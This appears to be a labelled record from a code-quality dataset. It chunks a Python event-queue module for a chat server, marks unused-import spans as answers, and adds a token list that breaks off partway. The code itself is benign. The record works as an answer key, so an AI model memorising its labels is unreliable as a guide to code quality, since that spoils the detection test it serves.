"header": "['class', 'ClientDescriptor', '(', 'object', ')', ':', '___EOS___']",
"index": 124
},
{
"content": " def accepts_event(self, event):\n if self.event_types is not None and event[\"type\"] not in self.event_types:\n return False\n if event[\"type\"] == \"message\":\n return self.narrow_filter(event)\n return True",
"metadata": "root.ClientDescriptor.accepts_event",
"header": "['class', 'ClientDescriptor', '(', 'object', ')', ':', '___EOS___']",
"index": 137
},
{
"content": " def accepts_messages(self):\n return self.event_types is None or \"message\" in self.event_types",
"metadata": "root.ClientDescriptor.accepts_messages",
"header": "['class', 'ClientDescriptor', '(', 'object', ')', ':', '___EOS___']",
"index": 145
},
{
"content": " def idle(self, now):\n if not hasattr(self, 'queue_timeout'):\n self.queue_timeout = IDLE_EVENT_QUEUE_TIMEOUT_SECS\n\n return (self.current_handler_id is None\n and now - self.last_connection_time >= self.queue_timeout)",
"metadata": "root.ClientDescriptor.idle",
"header": "['class', 'ClientDescriptor', '(', 'object', ')', ':', '___EOS___']",
"index": 148
},
{
"content": " def connect_handler(self, handler_id, client_name):\n self.current_handler_id = handler_id\n self.current_client_name = client_name\n set_descriptor_by_handler_id(handler_id, self)\n self.last_connection_time = time.time()\n def timeout_callback():\n self._timeout_handle = None\n # All clients get heartbeat events\n self.add_event(dict(type='heartbeat'))\n ioloop = tornado.ioloop.IOLoop.instance()\n heartbeat_time = time.time() + HEARTBEAT_MIN_FREQ_SECS + random.randint(0, 10)\n if self.client_type_name != 'API: heartbeat test':\n self._timeout_handle = ioloop.add_timeout(heartbeat_time, timeout_callback)",
"metadata": "root.ClientDescriptor.connect_handler",
"header": "['class', 'ClientDescriptor', '(', 'object', ')', ':', '___EOS___']",
"index": 155
},
{
"content": " def disconnect_handler(self, client_closed=False, need_timeout=True):\n if self.current_handler_id:\n clear_descriptor_by_handler_id(self.current_handler_id, None)\n clear_handler_by_id(self.current_handler_id)\n if client_closed:\n logging.info(\"Client disconnected for queue %s (%s via %s)\" %\n (self.event_queue.id, self.user_profile_email,\n self.current_client_name))\n self.current_handler_id = None\n self.current_client_name = None\n if need_timeout and self._timeout_handle is not None:\n ioloop = tornado.ioloop.IOLoop.instance()\n ioloop.remove_timeout(self._timeout_handle)\n self._timeout_handle = None",
"metadata": "root.ClientDescriptor.disconnect_handler",
"header": "['class', 'ClientDescriptor', '(', 'object', ')', ':', '___EOS___']",
"index": 169
},
{
"content": " def cleanup(self):\n # Before we can GC the event queue, we need to disconnect the\n # handler and notify the client (or connection server) so that\n # they can cleanup their own state related to the GC'd event\n # queue. Finishing the handler before we GC ensures the\n # invariant that event queues are idle when passed to\n # `do_gc_event_queues` is preserved.\n self.finish_current_handler(need_timeout=False)\n do_gc_event_queues([self.event_queue.id], [self.user_profile_id],\n [self.realm_id])",
"metadata": "root.ClientDescriptor.cleanup",
"header": "['class', 'ClientDescriptor', '(', 'object', ')', ':', '___EOS___']",
"index": 184
},
{
"content": "def get_descriptor_by_handler_id(handler_id):\n return descriptors_by_handler_id.get(handler_id)",
"metadata": "root.get_descriptor_by_handler_id",
"header": "['module', '___EOS___']",
"index": 197
},
{
"content": "def set_descriptor_by_handler_id(handler_id, client_descriptor):\n descriptors_by_handler_id[handler_id] = client_descriptor",
"metadata": "root.set_descriptor_by_handler_id",
"header": "['module', '___EOS___']",
"index": 200
},
{
"content": "def clear_descriptor_by_handler_id(handler_id, client_descriptor):\n del descriptors_by_handler_id[handler_id]",
"metadata": "root.clear_descriptor_by_handler_id",
"header": "['module', '___EOS___']",
"index": 203
},
{
"content": "def compute_full_event_type(event):\n if event[\"type\"] == \"update_message_flags\":\n if event[\"all\"]:\n # Put the \"all\" case in its own category\n return \"all_flags/%s/%s\" % (event[\"flag\"], event[\"operation\"])\n return \"flags/%s/%s\" % (event[\"operation\"], event[\"flag\"])\n return event[\"type\"]",
"metadata": "root.compute_full_event_type",
"header": "['module', '___EOS___']",
"index": 206
},
{
"content": "class EventQueue(object):\n\n\n\n\n # Note that pop ignores virtual events. This is fine in our\n # current usage since virtual events should always be resolved to\n # a real event before being given to users.\n\n\n # See the comment on pop; that applies here as well\n",
"metadata": "root.EventQueue",
"header": "['module', '___EOS___']",
"index": 214
},
{
"content": " def __init__(self, id):\n # type: (Any) -> None\n self.queue = deque() # type: deque[Dict[str, str]]\n self.next_event_id = 0\n self.id = id\n self.virtual_events = {} # type: Dict[str, Dict[str, str]]",
"metadata": "root.EventQueue.__init__",
"header": "['class', 'EventQueue', '(', 'object', ')', ':', '___EOS___']",
"index": 215
},
{
"content": " def to_dict(self):\n # If you add a new key to this dict, make sure you add appropriate\n # migration code in from_dict or load_event_queues to account for\n # loading event queues that lack that key.\n return dict(id=self.id,\n next_event_id=self.next_event_id,\n queue=list(self.queue),\n virtual_events=self.virtual_events)",
"metadata": "root.EventQueue.to_dict",
"header": "['class', 'EventQueue', '(', 'object', ')', ':', '___EOS___']",
"index": 222
},
{
"content": " @classmethod\n def from_dict(cls, d):\n ret = cls(d['id'])\n ret.next_event_id = d['next_event_id']\n ret.queue = deque(d['queue'])\n ret.virtual_events = d.get(\"virtual_events\", {})\n return ret",
"metadata": "root.EventQueue.from_dict",
"header": "['class', 'EventQueue', '(', 'object', ')', ':', '___EOS___']",
"index": 231
},
{
"content": " def push(self, event):\n event['id'] = self.next_event_id\n self.next_event_id += 1\n full_event_type = compute_full_event_type(event)\n if (full_event_type in [\"pointer\", \"restart\"] or\n full_event_type.startswith(\"flags/\")):\n if full_event_type not in self.virtual_events:\n self.virtual_events[full_event_type] = copy.deepcopy(event)\n return\n # Update the virtual event with the values from the event\n virtual_event = self.virtual_events[full_event_type]\n virtual_event[\"id\"] = event[\"id\"]\n if \"timestamp\" in event:\n virtual_event[\"timestamp\"] = event[\"timestamp\"]\n if full_event_type == \"pointer\":\n virtual_event[\"pointer\"] = event[\"pointer\"]\n elif full_event_type == \"restart\":\n virtual_event[\"server_generation\"] = event[\"server_generation\"]\n elif full_event_type.startswith(\"flags/\"):\n virtual_event[\"messages\"] += event[\"messages\"]\n else:\n self.queue.append(event)",
"metadata": "root.EventQueue.push",
"header": "['class', 'EventQueue', '(', 'object', ')', ':', '___EOS___']",
"index": 239
},
{
"content": " def pop(self):\n return self.queue.popleft()",
"metadata": "root.EventQueue.pop",
"header": "['class', 'EventQueue', '(', 'object', ')', ':', '___EOS___']",
"index": 265
},
{
"content": " def empty(self):\n return len(self.queue) == 0 and len(self.virtual_events) == 0",
"metadata": "root.EventQueue.empty",
"header": "['class', 'EventQueue', '(', 'object', ')', ':', '___EOS___']",
"index": 268
},
{
"content": " def prune(self, through_id):\n while len(self.queue) != 0 and self.queue[0]['id'] <= through_id:\n self.pop()",
"metadata": "root.EventQueue.prune",
"header": "['class', 'EventQueue', '(', 'object', ')', ':', '___EOS___']",
"index": 272
},
{
"content": " def contents(self):\n contents = []\n virtual_id_map = {}\n for event_type in self.virtual_events:\n virtual_id_map[self.virtual_events[event_type][\"id\"]] = self.virtual_events[event_type]\n virtual_ids = sorted(list(virtual_id_map.keys()))\n\n # Merge the virtual events into their final place in the queue\n index = 0\n length = len(virtual_ids)\n for event in self.queue:\n while index < length and virtual_ids[index] < event[\"id\"]:\n contents.append(virtual_id_map[virtual_ids[index]])\n index += 1\n contents.append(event)\n while index < length:\n contents.append(virtual_id_map[virtual_ids[index]])\n index += 1\n\n self.virtual_events = {}\n self.queue = deque(contents)\n return contents",
"metadata": "root.EventQueue.contents",
"header": "['class', 'EventQueue', '(', 'object', ')', ':', '___EOS___']",
"index": 276
},
{
"content": "def add_client_gc_hook(hook):\n gc_hooks.append(hook)",
"metadata": "root.add_client_gc_hook",
"header": "['module', '___EOS___']",
"index": 315
},
{
"content": "def get_client_descriptor(queue_id):\n return clients.get(queue_id)",
"metadata": "root.get_client_descriptor",
"header": "['module', '___EOS___']",
"index": 318
},
{
"content": "def get_client_descriptors_for_user(user_profile_id):\n return user_clients.get(user_profile_id, [])",
"metadata": "root.get_client_descriptors_for_user",
"header": "['module', '___EOS___']",
"index": 321
},
{
"content": "def get_client_descriptors_for_realm_all_streams(realm_id):\n return realm_clients_all_streams.get(realm_id, [])",
"metadata": "root.get_client_descriptors_for_realm_all_streams",
"header": "['module', '___EOS___']",
"index": 324
},
{
"content": "def add_to_client_dicts(client):\n user_clients.setdefault(client.user_profile_id, []).append(client)\n if client.all_public_streams or client.narrow != []:\n realm_clients_all_streams.setdefault(client.realm_id, []).append(client)",
"metadata": "root.add_to_client_dicts",
"header": "['module', '___EOS___']",
"index": 327
},
{
"content": "def allocate_client_descriptor(new_queue_data):\n global next_queue_id\n queue_id = str(settings.SERVER_GENERATION) + ':' + str(next_queue_id)\n next_queue_id += 1\n new_queue_data[\"event_queue\"] = EventQueue(queue_id).to_dict()\n client = ClientDescriptor.from_dict(new_queue_data)\n clients[queue_id] = client\n add_to_client_dicts(client)\n return client",
"metadata": "root.allocate_client_descriptor",
"header": "['module', '___EOS___']",
"index": 332
},
{
"content": "def do_gc_event_queues(to_remove, affected_users, affected_realms):\n def filter_client_dict(client_dict, key):\n if key not in client_dict:\n return\n\n new_client_list = [c for c in client_dict[key] if c.event_queue.id not in to_remove]\n if len(new_client_list) == 0:\n del client_dict[key]\n else:\n client_dict[key] = new_client_list\n\n for user_id in affected_users:\n filter_client_dict(user_clients, user_id)\n\n for realm_id in affected_realms:\n filter_client_dict(realm_clients_all_streams, realm_id)\n\n for id in to_remove:\n for cb in gc_hooks:\n cb(clients[id].user_profile_id, clients[id], clients[id].user_profile_id not in user_clients)\n del clients[id]",
"metadata": "root.do_gc_event_queues",
"header": "['module', '___EOS___']",
"index": 342
},
{
"content": "def gc_event_queues():\n start = time.time()\n to_remove = set()\n affected_users = set()\n affected_realms = set()\n for (id, client) in six.iteritems(clients):\n if client.idle(start):\n to_remove.add(id)\n affected_users.add(client.user_profile_id)\n affected_realms.add(client.realm_id)\n\n # We don't need to call e.g. finish_current_handler on the clients\n # being removed because they are guaranteed to be idle and thus\n # not have a current handler.\n do_gc_event_queues(to_remove, affected_users, affected_realms)\n\n logging.info(('Tornado removed %d idle event queues owned by %d users in %.3fs.'\n + ' Now %d active queues, %s')\n % (len(to_remove), len(affected_users), time.time() - start,\n len(clients), handler_stats_string()))\n statsd.gauge('tornado.active_queues', len(clients))\n statsd.gauge('tornado.active_users', len(user_clients))",
"metadata": "root.gc_event_queues",
"header": "['module', '___EOS___']",
"index": 364
},
{
"content": "def dump_event_queues():\n start = time.time()\n\n with open(settings.JSON_PERSISTENT_QUEUE_FILENAME, \"w\") as stored_queues:\n ujson.dump([(qid, client.to_dict()) for (qid, client) in six.iteritems(clients)],\n stored_queues)\n\n logging.info('Tornado dumped %d event queues in %.3fs'\n % (len(clients), time.time() - start))",
"metadata": "root.dump_event_queues",
"header": "['module', '___EOS___']",
"index": 387
},
{
"content": "def load_event_queues():\n global clients\n start = time.time()\n\n # ujson chokes on bad input pretty easily. We separate out the actual\n # file reading from the loading so that we don't silently fail if we get\n # bad input.\n try:\n with open(settings.JSON_PERSISTENT_QUEUE_FILENAME, \"r\") as stored_queues:\n json_data = stored_queues.read()\n try:\n clients = dict((qid, ClientDescriptor.from_dict(client))\n for (qid, client) in ujson.loads(json_data))\n except Exception:\n logging.exception(\"Could not deserialize event queues\")\n except (IOError, EOFError):\n pass\n\n for client in six.itervalues(clients):\n # Put code for migrations due to event queue data format changes here\n\n add_to_client_dicts(client)\n\n logging.info('Tornado loaded %d event queues in %.3fs'\n % (len(clients), time.time() - start))",
"metadata": "root.load_event_queues",
"header": "['module', '___EOS___']",
"index": 397
},
{
"content": "def send_restart_events(immediate=False):\n event = dict(type='restart', server_generation=settings.SERVER_GENERATION)\n if immediate:\n event['immediate'] = True\n for client in six.itervalues(clients):\n if client.accepts_event(event):\n client.add_event(event.copy())",
"metadata": "root.send_restart_events",
"header": "['module', '___EOS___']",
"index": 423
},
{
"content": "def setup_event_queue():\n if not settings.TEST_SUITE:\n load_event_queues()\n atexit.register(dump_event_queues)\n # Make sure we dump event queues even if we exit via signal\n signal.signal(signal.SIGTERM, lambda signum, stack: sys.exit(1))\n tornado.autoreload.add_reload_hook(dump_event_queues) # type: ignore # TODO: Fix missing tornado.autoreload stub\n\n try:\n os.rename(settings.JSON_PERSISTENT_QUEUE_FILENAME, \"/var/tmp/event_queues.json.last\")\n except OSError:\n pass\n\n # Set up event queue garbage collection\n ioloop = tornado.ioloop.IOLoop.instance()\n pc = tornado.ioloop.PeriodicCallback(gc_event_queues,\n EVENT_QUEUE_GC_FREQ_MSECS, ioloop)\n pc.start()\n\n send_restart_events(immediate=settings.DEVELOPMENT)",
"metadata": "root.setup_event_queue",
"header": "['module', '___EOS___']",
"index": 431
},
{
"content": "def fetch_events(query):\n queue_id = query[\"queue_id\"]\n dont_block = query[\"dont_block\"]\n last_event_id = query[\"last_event_id\"]\n user_profile_id = query[\"user_profile_id\"]\n new_queue_data = query.get(\"new_queue_data\")\n user_profile_email = query[\"user_profile_email\"]\n client_type_name = query[\"client_type_name\"]\n handler_id = query[\"handler_id\"]\n\n try:\n was_connected = False\n orig_queue_id = queue_id\n extra_log_data = \"\"\n if queue_id is None:\n if dont_block:\n client = allocate_client_descriptor(new_queue_data)\n queue_id = client.event_queue.id\n else:\n raise JsonableError(\"Missing 'queue_id' argument\")\n else:\n if last_event_id is None:\n raise JsonableError(\"Missing 'last_event_id' argument\")\n client = get_client_descriptor(queue_id)\n if client is None:\n raise JsonableError(\"Bad event queue id: %s\" % (queue_id,))\n if user_profile_id != client.user_profile_id:\n raise JsonableError(\"You are not authorized to get events from this queue\")\n client.event_queue.prune(last_event_id)\n was_connected = client.finish_current_handler()\n\n if not client.event_queue.empty() or dont_block:\n response = dict(events=client.event_queue.contents(),\n handler_id=handler_id)\n if orig_queue_id is None:\n response['queue_id'] = queue_id\n extra_log_data = \"[%s/%s]\" % (queue_id, len(response[\"events\"]))\n if was_connected:\n extra_log_data += \" [was connected]\"\n return dict(type=\"response\", response=response, extra_log_data=extra_log_data)\n\n # After this point, dont_block=False, the queue is empty, and we\n # have a pre-existing queue, so we wait for new events.\n if was_connected:\n logging.info(\"Disconnected handler for queue %s (%s/%s)\" % (queue_id, user_profile_email,\n client_type_name))\n except JsonableError as e:\n if hasattr(e, 'to_json_error_msg') and callable(e.to_json_error_msg):\n return dict(type=\"error\", handler_id=handler_id,\n message=e.to_json_error_msg())\n raise e\n\n client.connect_handler(handler_id, client_type_name)\n return dict(type=\"async\")",
"metadata": "root.fetch_events",
"header": "['module', '___EOS___']",
"index": 452
},
{
"content": "def extract_json_response(resp):\n if requests_json_is_function:\n return resp.json()\n else:\n return resp.json",
"metadata": "root.extract_json_response",
"header": "['module', '___EOS___']",
"index": 512
},
{
"content": "def request_event_queue(user_profile, user_client, apply_markdown,\n queue_lifespan_secs, event_types=None, all_public_streams=False,\n narrow=[]):\n if settings.TORNADO_SERVER:\n req = {'dont_block' : 'true',\n 'apply_markdown': ujson.dumps(apply_markdown),\n 'all_public_streams': ujson.dumps(all_public_streams),\n 'client' : 'internal',\n 'user_client' : user_client.name,\n 'narrow' : ujson.dumps(narrow),\n 'lifespan_secs' : queue_lifespan_secs}\n if event_types is not None:\n req['event_types'] = ujson.dumps(event_types)\n resp = requests.get(settings.TORNADO_SERVER + '/api/v1/events',\n auth=requests.auth.HTTPBasicAuth(user_profile.email,\n user_profile.api_key),\n params=req)\n\n resp.raise_for_status()\n\n return extract_json_response(resp)['queue_id']\n\n return None",
"metadata": "root.request_event_queue",
"header": "['module', '___EOS___']",
"index": 518
},
{
"content": "def get_user_events(user_profile, queue_id, last_event_id):\n if settings.TORNADO_SERVER:\n resp = requests.get(settings.TORNADO_SERVER + '/api/v1/events',\n auth=requests.auth.HTTPBasicAuth(user_profile.email,\n user_profile.api_key),\n params={'queue_id' : queue_id,\n 'last_event_id': last_event_id,\n 'dont_block' : 'true',\n 'client' : 'internal'})\n\n resp.raise_for_status()\n\n return extract_json_response(resp)['events']",
"metadata": "root.get_user_events",
"header": "['module', '___EOS___']",
"index": 542
},
{
"content": "def build_offline_notification(user_profile_id, message_id):\n return {\"user_profile_id\": user_profile_id,\n \"message_id\": message_id,\n \"timestamp\": time.time()}",
"metadata": "root.build_offline_notification",
"header": "['module', '___EOS___']",
"index": 561
},
{
"content": "def missedmessage_hook(user_profile_id, queue, last_for_client):\n # Only process missedmessage hook when the last queue for a\n # client has been garbage collected\n if not last_for_client:\n return\n\n message_ids_to_notify = []\n for event in queue.event_queue.contents():\n if not event['type'] == 'message' or not event['flags']:\n continue\n\n if 'mentioned' in event['flags'] and not 'read' in event['flags']:\n notify_info = dict(message_id=event['message']['id'])\n\n if not event.get('push_notified', False):\n notify_info['send_push'] = True\n if not event.get('email_notified', False):\n notify_info['send_email'] = True\n message_ids_to_notify.append(notify_info)\n\n for notify_info in message_ids_to_notify:\n msg_id = notify_info['message_id']\n notice = build_offline_notification(user_profile_id, msg_id)\n if notify_info.get('send_push', False):\n queue_json_publish(\"missedmessage_mobile_notifications\", notice, lambda notice: None)\n if notify_info.get('send_email', False):\n queue_json_publish(\"missedmessage_emails\", notice, lambda notice: None)",
"metadata": "root.missedmessage_hook",
"header": "['module', '___EOS___']",
"index": 566
},
{
"content": "def receiver_is_idle(user_profile_id, realm_presences):\n # If a user has no message-receiving event queues, they've got no open zulip\n # session so we notify them\n all_client_descriptors = get_client_descriptors_for_user(user_profile_id)\n message_event_queues = [client for client in all_client_descriptors if client.accepts_messages()]\n off_zulip = len(message_event_queues) == 0\n\n # It's possible a recipient is not in the realm of a sender. We don't have\n # presence information in this case (and it's hard to get without an additional\n # db query) so we simply don't try to guess if this cross-realm recipient\n # has been idle for too long\n if realm_presences is None or not user_profile_id in realm_presences:\n return off_zulip\n\n # We want to find the newest \"active\" presence entity and compare that to the\n # activity expiry threshold.\n user_presence = realm_presences[user_profile_id]\n latest_active_timestamp = None\n idle = False\n\n for client, status in six.iteritems(user_presence):\n if (latest_active_timestamp is None or status['timestamp'] > latest_active_timestamp) and \\\n status['status'] == 'active':\n latest_active_timestamp = status['timestamp']\n\n if latest_active_timestamp is None:\n idle = True\n else:\n active_datetime = timestamp_to_datetime(latest_active_timestamp)\n # 140 seconds is consistent with activity.js:OFFLINE_THRESHOLD_SECS\n idle = now() - active_datetime > datetime.timedelta(seconds=140)\n\n return off_zulip or idle",
"metadata": "root.receiver_is_idle",
"header": "['module', '___EOS___']",
"index": 594
},
{
"content": "def process_message_event(event_template, users):\n realm_presences = {int(k): v for k, v in event_template['presences'].items()}\n sender_queue_id = event_template.get('sender_queue_id', None)\n message_dict_markdown = event_template['message_dict_markdown']\n message_dict_no_markdown = event_template['message_dict_no_markdown']\n sender_id = message_dict_markdown['sender_id']\n message_id = message_dict_markdown['id']\n message_type = message_dict_markdown['type']\n sending_client = message_dict_markdown['client']\n\n # To remove duplicate clients: Maps queue ID to {'client': Client, 'flags': flags}\n send_to_clients = dict()\n\n # Extra user-specific data to include\n extra_user_data = {}\n\n if 'stream_name' in event_template and not event_template.get(\"invite_only\"):\n for client in get_client_descriptors_for_realm_all_streams(event_template['realm_id']):\n send_to_clients[client.event_queue.id] = {'client': client, 'flags': None}\n if sender_queue_id is not None and client.event_queue.id == sender_queue_id:\n send_to_clients[client.event_queue.id]['is_sender'] = True\n\n for user_data in users:\n user_profile_id = user_data['id']\n flags = user_data.get('flags', [])\n\n for client in get_client_descriptors_for_user(user_profile_id):\n send_to_clients[client.event_queue.id] = {'client': client, 'flags': flags}\n if sender_queue_id is not None and client.event_queue.id == sender_queue_id:\n send_to_clients[client.event_queue.id]['is_sender'] = True\n\n # If the recipient was offline and the message was a single or group PM to him\n # or she was @-notified potentially notify more immediately\n received_pm = message_type == \"private\" and user_profile_id != sender_id\n mentioned = 'mentioned' in flags\n idle = receiver_is_idle(user_profile_id, realm_presences)\n always_push_notify = user_data.get('always_push_notify', False)\n if (received_pm or mentioned) and (idle or always_push_notify):\n notice = build_offline_notification(user_profile_id, message_id)\n queue_json_publish(\"missedmessage_mobile_notifications\", notice, lambda notice: None)\n notified = dict(push_notified=True)\n # Don't send missed message emails if always_push_notify is True\n if idle:\n # We require RabbitMQ to do this, as we can't call the email handler\n # from the Tornado process. So if there's no rabbitmq support do nothing\n queue_json_publish(\"missedmessage_emails\", notice, lambda notice: None)\n notified['email_notified'] = True\n\n extra_user_data[user_profile_id] = notified\n\n for client_data in six.itervalues(send_to_clients):\n client = client_data['client']\n flags = client_data['flags']\n is_sender = client_data.get('is_sender', False)\n extra_data = extra_user_data.get(client.user_profile_id, None)\n\n if not client.accepts_messages():\n # The actual check is the accepts_event() check below;\n # this line is just an optimization to avoid copying\n # message data unnecessarily\n continue\n\n if client.apply_markdown:\n message_dict = message_dict_markdown\n else:\n message_dict = message_dict_no_markdown\n\n # Make sure Zephyr mirroring bots know whether stream is invite-only\n if \"mirror\" in client.client_type_name and event_template.get(\"invite_only\"):\n message_dict = message_dict.copy()\n message_dict[\"invite_only_stream\"] = True\n\n user_event = dict(type='message', message=message_dict, flags=flags)\n if extra_data is not None:\n user_event.update(extra_data)\n\n if is_sender:\n local_message_id = event_template.get('local_id', None)\n if local_message_id is not None:\n user_event[\"local_message_id\"] = local_message_id\n\n if not client.accepts_event(user_event):\n continue\n\n # The below prevents (Zephyr) mirroring loops.\n if ('mirror' in sending_client and\n sending_client.lower() == client.client_type_name.lower()):\n continue\n client.add_event(user_event)",
"metadata": "root.process_message_event",
"header": "['module', '___EOS___']",
"index": 628
},
{
"content": "def process_event(event, users):\n for user_profile_id in users:\n for client in get_client_descriptors_for_user(user_profile_id):\n if client.accepts_event(event):\n client.add_event(event.copy())",
"metadata": "root.process_event",
"header": "['module', '___EOS___']",
"index": 718
},
{
"content": "def process_userdata_event(event_template, users):\n for user_data in users:\n user_profile_id = user_data['id']\n user_event = event_template.copy() # shallow, but deep enough for our needs\n for key in user_data.keys():\n if key != \"id\":\n user_event[key] = user_data[key]\n\n for client in get_client_descriptors_for_user(user_profile_id):\n if client.accepts_event(user_event):\n client.add_event(user_event)",
"metadata": "root.process_userdata_event",
"header": "['module', '___EOS___']",
"index": 724
},
{
"content": "def process_notification(notice):\n event = notice['event']\n users = notice['users']\n if event['type'] in [\"update_message\"]:\n process_userdata_event(event, users)\n elif event['type'] == \"message\":\n process_message_event(event, users)\n else:\n process_event(event, users)",
"metadata": "root.process_notification",
"header": "['module', '___EOS___']",
"index": 736
},
{
"content": "def send_notification_http(data):\n if settings.TORNADO_SERVER and not settings.RUNNING_INSIDE_TORNADO:\n requests.post(settings.TORNADO_SERVER + '/notify_tornado', data=dict(\n data = ujson.dumps(data),\n secret = settings.SHARED_SECRET))\n else:\n process_notification(data)",
"metadata": "root.send_notification_http",
"header": "['module', '___EOS___']",
"index": 751
},
{
"content": "def send_notification(data):\n return queue_json_publish(\"notify_tornado\", data, send_notification_http)",
"metadata": "root.send_notification",
"header": "['module', '___EOS___']",
"index": 759
},
{
"content": "def send_event(event, users):\n return queue_json_publish(\"notify_tornado\",\n dict(event=event, users=users),\n send_notification_http)",
"metadata": "root.send_event",
"header": "['module', '___EOS___']",
"index": 762
}
]
| [
{
"span": "import socket",
"start_line": 9,
"start_column": 0,
"end_line": 9,
"end_column": 13
},
{
"span": "import traceback",
"start_line": 19,
"start_column": 0,
"end_line": 19,
"end_column": 16
},
{
"span": "from zerver.decorator import RespondAsynchronously, JsonableError",
"start_line": 20,
"start_column": 0,
"end_line": 20,
"end_column": 65
},
{
"span": "from zerver.lib.cache import cache_get_many, message_cache_key, \\\n user_profile_by_id_cache_key, cache_save_user_profile, cache_with_key",
"start_line": 21,
"start_column": 0,
"end_line": 22,
"end_column": 73
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"from_",
"\\u\\u",
"future\\u\\u_",
"import_",
"abs",
"olute",
"\\u",
"import_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"typing_",
"import_",
"Any_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"django_",
"._",
"conf_",
"import_",
"settings_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"django_",
"._",
"utils_",
"._",
"timezone_",
"import_",
"now_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"collections_",
"import_",
"deque_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"datetime_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"time_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"socket_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"logging_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"ujson_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"requests_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"atexit_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"sys_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"signal_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"tornado_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"tornado_",
"._",
"autore",
"load_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"random_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"traceback_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zerver_",
"._",
"decorator_",
"import_",
"Respo",
"nd",
"Async",
"hronous",
"ly_",
",_",
"Js",
"ona",
"ble",
"Error_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zerver_",
"._",
"lib_",
"._",
"cache_",
"import_",
"cache",
"\\u",
"get",
"\\u",
"many_",
",_",
"message",
"\\u",
"cache",
"\\u",
"key_",
",_",
"user",
"\\u",
"profile",
"\\u",
"by",
"\\u",
"id",
"\\u",
"cache",
"\\u",
"key_",
",_",
"cache",
"\\u",
"save",
"\\u",
"user",
"\\u",
"profile_",
",_",
"cache",
"\\u",
"with",
"\\u",
"key_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zerver_",
"._",
"lib_",
"._",
"handlers_",
"import_",
"clear",
"\\u",
"handler",
"\\u",
"by",
"\\u",
"id_",
",_",
"get",
"\\u",
"handler",
"\\u",
"by",
"\\u",
"id_",
",_",
"finish",
"\\u",
"handler_",
",_",
"handler",
"\\u",
"stats",
"\\u",
"string_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zerver_",
"._",
"lib_",
"._",
"utils_",
"import_",
"statsd",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zerver_",
"._",
"middleware_",
"import_",
"async",
"\\u",
"request",
"\\u",
"restart_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zerver_",
"._",
"lib_",
"._",
"narrow",
"_",
"import_",
"build",
"\\u",
"narrow",
"\\u",
"filter_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zerver_",
"._",
"lib_",
"._",
"queue_",
"import_",
"queue",
"\\u",
"json",
"\\u",
"publish_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zerver_",
"._",
"lib_",
"._",
"timestamp_",
"import_",
"timestamp",
"\\u",
"to",
"\\u",
"datetime_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"copy_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"six_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"idle",
" ",
"timeo",
"ut",
" ",
"used",
" ",
"to",
" ",
"be",
" ",
"a",
" ",
"week",
",",
" ",
"but",
" ",
"we",
" ",
"found",
" ",
"tha",
"t",
" ",
"in",
" ",
"that_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"situation",
",",
" ",
"queue",
"s",
" ",
"from",
" ",
"dead",
" ",
"browse",
"r",
" ",
"session",
"s",
" ",
"wou",
"ld",
" ",
"grow",
" ",
"quite",
" ",
"large_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"due",
" ",
"to",
" ",
"the",
" ",
"accum",
"ulation",
" ",
"of",
" ",
"message",
" ",
"data",
" ",
"in",
" ",
"tho",
"se",
" ",
"queue",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"IDLE",
"\\u",
"EVENT",
"\\u",
"QUEUE",
"\\u",
"TIME",
"OUT",
"\\u",
"SEC",
"S_",
"=_",
"60_",
"*_",
"10_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"EVENT",
"\\u",
"QUEUE",
"\\u",
"GC",
"\\u",
"FREQ",
"\\u",
"MSE",
"CS_",
"=_",
"1000_",
"*_",
"60_",
"*_",
"5_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Cap",
"ped",
" ",
"limit",
" ",
"for",
" ",
"how",
" ",
"long",
" ",
"a",
" ",
"client",
" ",
"can",
" ",
"request",
" ",
"an",
" ",
"event",
" ",
"queue_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"to",
" ",
"live_",
"\\u\\u\\uNL\\u\\u\\u_",
"MAX",
"\\u",
"QUEUE",
"\\u",
"TIME",
"OUT",
"\\u",
"SEC",
"S_",
"=_",
"7_",
"*_",
"24_",
"*_",
"60_",
"*_",
"60_",
